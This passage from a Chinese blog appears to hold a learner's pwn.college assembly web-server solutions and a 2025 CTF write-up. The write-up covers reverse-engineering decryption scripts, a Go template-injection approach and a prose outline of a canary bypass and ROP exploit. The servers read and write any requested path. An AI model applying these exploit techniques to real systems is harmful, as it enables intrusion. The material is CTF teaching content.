 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

 mov r13,rax /*socket fd from client*/

 /* read buffer */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* open file and read*/
 lea rbx,[rsp+4]
 find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space
 found_space:
 mov byte ptr [rbx],0
 lea rdi,[rsp+4]
 xor rsi,rsi
 mov rax,2
 syscall
 mov r8,rax

 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /*save the length*/

 /*close file*/
 mov rdi,r8
 mov rax,3
 syscall

 /* bytes to write's head of http */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /* write file's content to client*/
 mov rdi,r13
 mov rsi,rbx /*上面mov rsi,rbx将内容留存在了rbx当时的地址中*/
 mov rdx,r15
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 /* exit */
 mov rdi,0
 mov rax,60
 syscall
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

# 创建可执行文件
elf = make_elf(code)

# 保存为server文件
with open('server', 'wb') as f:
 f.write(elf)

# 给执行权限
os.chmod('server', 0o755)

p = process(['/challenge/run', './server'])
p.interactive()

‍

可迭代的(Iterative)GET Server

添加循环处理GET逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

.server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall

 mov r13,rax /*socket fd from client*/

 /* read buffer */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* open file and read*/
 lea rbx,[rsp+4]
 find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space
 found_space:
 mov byte ptr [rbx],0
 lea rdi,[rsp+4]
 xor rsi,rsi
 mov rax,2
 syscall
 mov r8,rax

 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /*save the length*/

 /*close file*/
 mov rdi,r8
 mov rax,3
 syscall

 /* bytes to write's head of http */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /* write file's content to client*/
 mov rdi,r13
 mov rsi,rbx /*上面mov rsi,rbx将内容留存在了rbx当时的地址中*/
 mov rdx,r15
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 jmp .server_loop
.exit:
 /* exit */
 mov rdi,0
 mov rax,60
 syscall

‍

concurrent GET Server

在原本的基础上使用fork子进程来实现执行GET操作，批注写在代码里了

将前一段的代码进行分段修改后，如果成功fork了进程则进入进行操作，否则直接server进行close

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130


 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall
 mov r13,rax /*socket fd from client*/

 /*fork*/
 mov rax,57
 syscall

 test rax,rax
 jz child_process
 jmp parent_process

child_process:
 mov rdi,r12
 mov rax,3
 syscall

 /* read buffer */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* open file and read*/
 lea rbx,[rsp+4]
 find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space
 found_space:
 mov byte ptr [rbx],0
 lea rdi,[rsp+4]
 xor rsi,rsi
 mov rax,2
 syscall
 mov r8,rax

 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /*save the length*/

 /*close file*/
 mov rdi,r8
 mov rax,3
 syscall

 /* bytes to write head of http */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /* write file content to client*/
 mov rdi,r13
 mov rsi,rbx /*上面mov rsi,rbx将内容留存在了rbx当时的地址中*/
 mov rdx,r15
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 /* exit child_porcess*/
 mov rdi,0
 mov rax,60
 syscall
parent_process:
 mov rdi,r13
 mov rax,3
 syscall

 jmp server_loop

检测的时候分为对parent process和child process的检测（卧槽了这挑战检测的代码是怎么用python写的，好牛逼）

concurrent POST Server

but this time instead of reading from that file, you will instead write to it with the incoming POST data. In order to do so, you must determine the length of the incoming POST data.

emm,原来POST的数据长度一定要写入请求是这个原因

首次测试，可以正常读入数据，但是传给open的句柄出错了

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall
 mov r13,rax /*socket fd from client*/

 /*fork*/
 mov rax,57
 syscall

 test rax,rax
 jz child_process
 jmp parent_process

child_process:
 /* close socket */
 mov rdi,r12
 mov rax,3
 syscall

 /* read buffer*/
 sub rsp,0x400
 mov rdi,r13
 mov rsi,rsp
 mov rdx,0x400 /*1024 most*/
 xor rax,rax
 syscall

 /* read bytes length */
 mov r14,rax

 /* find the path */
 lea rbx,[rsp+5] /*skip POST*/
 mov r15,rbx

find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space

found_space:
 /* if found,then analysis what is the text */
 mov byte ptr [rbx],0

 /* open it as writing mode */
 mov rdi,r15
 mov rsi,0x41 /* O_WRONLY|O_CREAT*/
 mov rdx,0x1ff /*0777*/
 mov rax,2
 syscall
 /* save file fd to r8*/
 mov r8,rax

 /* find the body after the \r\n\r\n */
 lea rdi,[rsp]
 mov rcx,r14
 mov eax,0x0a0d0a0d


find_body:
 cmp dword ptr [rdi],eax
 je found_body
 inc rdi
 loop find_body
 jmp close_file

found_body:
 add rdi,4
 mov r15,rdi

 lea rax,[rsp]
 add rax,r14
 sub rax,r15 /*sub length of request body*/
 mov rcx,rax /*save length*/

 /* write the POST data in */
 mov rdi,r8
 mov rsi,r15
 mov rdx,rcx
 mov rax,1
 syscall

close_file:
 mov rdi,r8
 mov rax,3
 syscall

send_200:

 /* bytes to write's head of http */
 lea rsi,[rsp+0x40]
 mov dword ptr [rsi], 0x50545448
 mov dword ptr [rsi+4], 0x302e312f
 mov dword ptr [rsi+8], 0x30303220
 mov dword ptr [rsi+12], 0x0d4b4f20
 mov word ptr [rsi+16], 0x0d0a
 mov byte ptr [rsi+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rdx,19
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 /* exit child_porcess*/
 mov rdi,0
 mov rax,60
 syscall

parent_process:
 mov rdi,r13
 mov rax,3
 syscall

 jmp server_loop
""")

‍

Web Server

为何一定要用汇编写，我思考了很久这个问题，得出的结果是牛魔的pwncollege想累死我，处理成两个分支，再加上了一些补充的点，这里的汇编全都是用的rsp缓冲区，不涉及栈空间

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall
 mov r13,rax /*socket fd from client*/

 /*fork*/
 mov rax,57
 syscall

 test rax,rax
 jz child_process
 jmp parent_process

child_process:
 /* close server socket in child */
 mov rdi,r12
 mov rax,3
 syscall

 /* read buffer*/
 sub rsp,0x400
 mov rdi,r13
 mov rsi,rsp
 mov rdx,0x400 /*1024 most*/
 xor rax,rax
 syscall

 /* read bytes length */
 mov r14,rax

 /* Check request type: GET or POST */
 mov al, byte ptr [rsp] /* First character */
 cmp al, 'G'
 je handle_get
 cmp al, 'P'
 je handle_post
 jmp send_404 /* Unknown method */

handle_get:
 /* GET request processing */
 /* find the path */
 lea rbx,[rsp+4] /*skip "GET "*/
 mov r15,rbx

find_space_get:
 cmp byte ptr [rbx],0x20
 je found_space_get
 inc rbx
 jmp find_space_get

found_space_get:
 mov byte ptr [rbx],0

 /* open file for reading */
 mov rdi,r15
 xor rsi,rsi /* O_RDONLY */
 mov rax,2
 syscall

 cmp rax, 0
 jl send_404 /* File not found */

 mov r8,rax /* save file fd */

 /* read file content */
 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /* save the length */

 /* close file */
 mov rdi,r8
 mov rax,3
 syscall

 jmp send_response

handle_post:
 /* POST request processing */
 /* find the path */
 lea rbx,[rsp+5] /*skip "POST "*/
 mov r15,rbx

find_space_post:
 cmp byte ptr [rbx],0x20
 je found_space_post
 inc rbx
 jmp find_space_post

found_space_post:
 mov byte ptr [rbx],0

 /* open file for writing (create if not exists) */
 mov rdi,r15
 mov rsi,0x41 /* O_WRONLY|O_CREAT */
 mov rdx,0x1ff /* 0777 */
 mov rax,2
 syscall
 mov r8,rax /* save file fd */

 /* find the body after \r\n\r\n */
 lea rdi,[rsp]
 mov rcx,r14
 mov eax,0x0a0d0a0d /* \r\n\r\n */

find_body:
 cmp dword ptr [rdi],eax
 je found_body
 inc rdi
 loop find_body
 jmp close_file_post /* No body found */

found_body:
 add rdi,4
 mov r15,rdi

 lea rax,[rsp]
 add rax,r14
 sub rax,r15 /* body length */
 mov rcx,rax

 /* write POST data to file */
 mov rdi,r8
 mov rsi,r15
 mov rdx,rcx
 mov rax,1
 syscall

close_file_post:
 mov rdi,r8
 mov rax,3
 syscall

 /* For POST, we'll send success response but no file content */
 mov r15, 0 /* No content to send after headers */
 jmp send_response

send_404:
 /* Prepare 404 Not Found response */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x34303420
 mov dword ptr [rsp+12], 0x0d464e20
 mov word ptr [rsp+16], 0x0a0d
 mov byte ptr [rsp+18], 0x0a

 mov rdi, r13
 mov rsi, rsp
 mov rdx, 19
 mov rax, 1
 syscall

 jmp cleanup_child

send_response:
 /* Send HTTP 200 OK headers */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0a0d
 mov byte ptr [rsp+18], 0x0a

 /* Send headers */
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 19
 mov rax, 1
 syscall

 /* If there's file content (GET request), send it */
 test r15, r15
 jz cleanup_child

 mov rdi, r13
 mov rsi, rbx /* File content buffer */
 mov rdx, r15 /* Content length */
 mov rax, 1
 syscall

cleanup_child:
 /* Close client socket */
 mov rdi, r13
 mov rax, 3
 syscall

 mov rdi, 0
 mov rax, 60
 syscall

parent_process:
 mov rdi, r13
 mov rax, 3
 syscall
 jmp server_loop
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

elf = make_elf(code)

with open('server', 'wb') as f:
 f.write(elf)

os.chmod('server', 0o755)

p = process(['/challenge/run', './server'])
p.interactive()

emmm,虽然成功了但是为何test都是?

这也是最后有点困惑的地方

湾区杯2025初赛部分2:D wp

Tue, 09 Sep 2025 01:22:00 +0000

reverse

hardtest

程序分析

开始的时候题目中存在检测,但是通过输入0可以通过检测

1
2
3
4
5
6
7
8


 seed = time(0LL);
 srand(seed);
 v23 = rand() % 255 + 1;
 printf("input your number(1-255): ");
 if ( (unsigned int)__isoc99_scanf("%d", &v21) == 1 && v23 == v21 )
 {
 while ( getchar() != 10 )
 ;

接下来分析主逻辑,还原主体中的函数还原就可以分析出算法,进行解密即可.

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140


"""
Decryptor for the given scheme.

Fill SBOX (byte_555555556020) and TARGET (byte_555555556120) below.
- SBOX must be a list or bytes-like of 256 distinct values (0..255).
- TARGET is the byte sequence that the program compares against (same length as the flag).

Once filled, run:
 python3 decrypt_flag.py

If SBOX is a true permutation and TARGET was produced by the binary, you'll get the plaintext flag.
"""

from typing import List

# === Paste your tables here ===================================================
# Example format (replace with real data):
# SBOX = [0x00, 0x01, 0x02, ... 0xFF] # <-- REPLACE with byte_555555556020
# TARGET = [0x12, 0x34, 0x56, ...] # <-- REPLACE with byte_555555556120

SBOX: List[int] = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x1, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x4, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x5, 0x9A, 0x7, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x9, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x0, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x2, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0xC, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0xB, 0xDB, 0xE0, 0x32, 0x3A, 0xA, 0x49, 0x6, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x8, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x3, 0xF6, 0xE, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0xD, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0xF, 0xB0, 0x54, 0xBB, 0x16] # TODO: fill with 256 ints in 0..255

TARGET: List[int] = [0x97,0xD5,0x60,0x43,0xB4,0x10,0x43,0x73,0xF,0xDA,0x43,0xCD,0xD3,0xE8,0x73,0x4A,0x94,0xC3,0xCD,0x71,0xBD,0xDC,0x97,0x1A] # TODO: fill with the expected bytes (length = flag length)

# =============================================================================

def rol8(x: int, n: int) -> int:
 x &= 0xFF
 n &= 7
 return ((x << n) | (x >> (8 - n))) & 0xFF

def ror8(x: int, n: int) -> int:
 x &= 0xFF
 n &= 7
 return ((x >> n) | (x << (8 - n))) & 0xFF

def inv257(a: int) -> int:
 """Multiplicative inverse in Z_257 for a in [1..255], 0 -> 0; returns 0..255 (mod 257, truncated to 8 bits)."""
 a &= 0xFF
 if a == 0:
 return 0
 inv = pow(a, 255, 257) # Fermat: a^255 ≡ a^{-1} (mod 257)
 return inv & 0xFF

def mulmod16(x: int, k: int) -> int:
 return (x * k) & 0xF

def encrypt_byte(x: int, j: int, sbox: List[int]) -> int:
 """One-byte forward transform (as in the binary)."""
 r = (j % 7) + 1
 y = rol8(x, r)
 z = rol8(y ^ 0x5A, 3)
 t = (mulmod16((z >> 4) & 0xF, 3) << 4) | mulmod16(z & 0xF, 5)
 u = inv257(t)
 w = ror8(u, 2)
 return sbox[w]

def decrypt_byte(e: int, j: int, sbox: List[int]) -> int:
 """Inverse transform to recover plaintext byte from expected byte e at position j."""
 # Invert SBOX: find index w s.t. sbox[w] == e
 # Prefer building once and reusing; do it inline here for clarity.
 # Create inverse mapping
 inv_sbox = [0] * 256
 seen = set()
 if len(sbox) != 256:
 raise ValueError("SBOX must have 256 entries.")
 for idx, val in enumerate(sbox):
 if not (0 <= val <= 255):
 raise ValueError("SBOX values must be 0..255.")
 if val in seen:
 raise ValueError("SBOX is not a permutation (duplicate value %d)." % val)
 seen.add(val)
 inv_sbox[val] = idx

 w = inv_sbox[e & 0xFF]
 u = rol8(w, 2) # inverse of ror8(u,2)
 t = inv257(u) # inverse of inv257(t) is itself
 # Invert nibble mapping: high uses *3 mod16 => inverse 11; low uses *5 mod16 => inverse 13
 z_hi = (11 * ((t >> 4) & 0xF)) & 0xF
 z_lo = (13 * (t & 0xF)) & 0xF
 z = (z_hi << 4) | z_lo
 y = ror8(z, 3) ^ 0x5A
 r = (j % 7) + 1
 x = ror8(y, r)
 return x & 0xFF

def build_inv_sbox(sbox: List[int]) -> List[int]:
 inv = [0] * 256
 seen = set()
 if len(sbox) != 256:
 raise ValueError("SBOX must have 256 entries.")
 for i, v in enumerate(sbox):
 if not (0 <= v <= 255):
 raise ValueError("SBOX values must be 0..255.")
 if v in seen:
 raise ValueError("SBOX is not a permutation (duplicate %d)" % v)
 seen.add(v)
 inv[v] = i
 return inv

def decrypt_all(target: List[int], sbox: List[int]) -> bytes:
 inv_sbox = build_inv_sbox(sbox)
 out = bytearray()
 for j, e in enumerate(target):
 w = inv_sbox[e & 0xFF]
 u = rol8(w, 2)
 t = inv257(u)
 z_hi = (11 * ((t >> 4) & 0xF)) & 0xF
 z_lo = (13 * (t & 0xF)) & 0xF
 z = (z_hi << 4) | z_lo
 y = ror8(z, 3) ^ 0x5A
 r = (j % 7) + 1
 x = ror8(y, r)
 out.append(x & 0xFF)
 return bytes(out)

def selftest():
 if not SBOX or not TARGET:
 print("[!] Please fill SBOX and TARGET first.")
 return
 # quick permutation check
 _ = build_inv_sbox(SBOX)
 # roundtrip check on a sample of bytes
 for j in range(64):
 for x in (0, 1, 2, 3, 0x10, 0x5A, 0x7F, 0x80, 0xFE, 0xFF):
 e = encrypt_byte(x, j, SBOX)
 xr = decrypt_byte(e, j, SBOX)
 assert xr == x, f"Roundtrip failed at j={j}, x=0x{x:02X}, got 0x{xr:02X}"
 print("[+] Roundtrip OK on sample set.")
 # try decrypt TARGET
 pt = decrypt_all(TARGET, SBOX)
 try:
 s = pt.decode('utf-8')
 except UnicodeDecodeError:
 s = pt.decode('latin-1')
 print("[+] Decrypted bytes:", pt)
 print("[+] As string:", s)

if __name__ == '__main__':
 selftest()

minigame

程序分析

提示是微信小程序,用Unpakemin解密后观察里面的.wasm文件
拖入ida中分析,发现c,b两个函数,理解后发现就是简单的xor异或
dump出data解密即可

解密代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


data = [
 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9,
 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE,
 0xAB, 0xA1, 0xA1, 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE,
 0xFC, 0xA1, 0xFA, 0xA8, 0xFB, 0xFB, 0xAD, 0xFC, 0xAC,
 0xAA, 0xE4
]

flag = ''.join(chr(b ^ 0x99) for b in data)
print(flag)

web

ssti

不是jinja模板不是python模板

也没开出来是什么服务器
一个一个试过去后

发现是GO语言的SSTi

给了B64Decode和exec，但是禁用了一些指令，考虑用管道符连接

可以，读一下flag试试

pwn

odd_canary

保护调试进入到good_news输入后知道buf读入地址在rip+0x2d48，输入完后查看一下

发现canary不存在？

看一下刚好是多复制了一个\n过去所以覆盖了canary?会导致检测触发

注意到good_news读取完后会将bss初始地址放上puts的地址

实际上canary好像并未真的赋值，只是一个0x0罢了.before_main里写了，逆天
good_news里面这个地方读0x20的意思不是很懂，但是确实没办法了，试试能不能搞一个libc出来
第二次进入再次尝试泄漏地址

把name后面八个字节打印出来了，可以泄漏libc
strncpy 不会自动加 \0，因此会一连串把后面到\x00为止打印出来
现在懂了，good_news实际上就是把puts泄漏出来
exit虽然会让bss被清理，但是我们可以借此拿到一个栈上的地址

这里得到栈地址可以直接绕过canary

在vuln中的栈上布置rop链，有leave ret，再次迁移回栈执行即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128


import argparse
import sys
from pwn import *

